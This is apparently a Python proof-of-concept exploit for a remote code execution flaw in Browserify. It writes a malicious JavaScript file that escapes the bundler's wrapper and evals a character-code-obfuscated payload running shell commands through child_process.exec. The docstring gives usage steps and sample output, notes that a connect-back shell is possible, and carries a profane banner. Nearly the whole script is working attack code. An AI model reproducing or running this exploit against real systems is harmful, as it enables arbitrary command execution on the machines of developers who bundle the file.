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#!/usr/bin/python
"""
Browserify POC exploit
http://iops.io/blog/browserify-rce-vulnerability/
To run, just do:
$ python poc.py > exploit.js
$ browserify exploit.js
BITCH I TOLD YOU THIS SHIT IS FABULOUS
[[garbage output]]
},{}]},{},[1]) 00:08:32 up 12:29, 3 users, load average: 0.00, 0.02, 0.05
uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)
You can also spawn() and create a connect back shell.
Enjoy
"""
def charencode(string):
encoded=''
for char in string:
encoded=encoded+","+str(ord(char))
return encoded[1:]
plaintext = """
var require = this.process.mainModule.require;
var sys = require('sys')
var exec = require('child_process').exec;
function puts(error, stdout, stderr) { sys.puts(stdout) }
exec("uptime && id", puts);
console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");
"""
payload = charencode(plaintext)
final = "eval(String.fromCharCode(%s));" %(payload)
print "});"
print final
print "(function(){"
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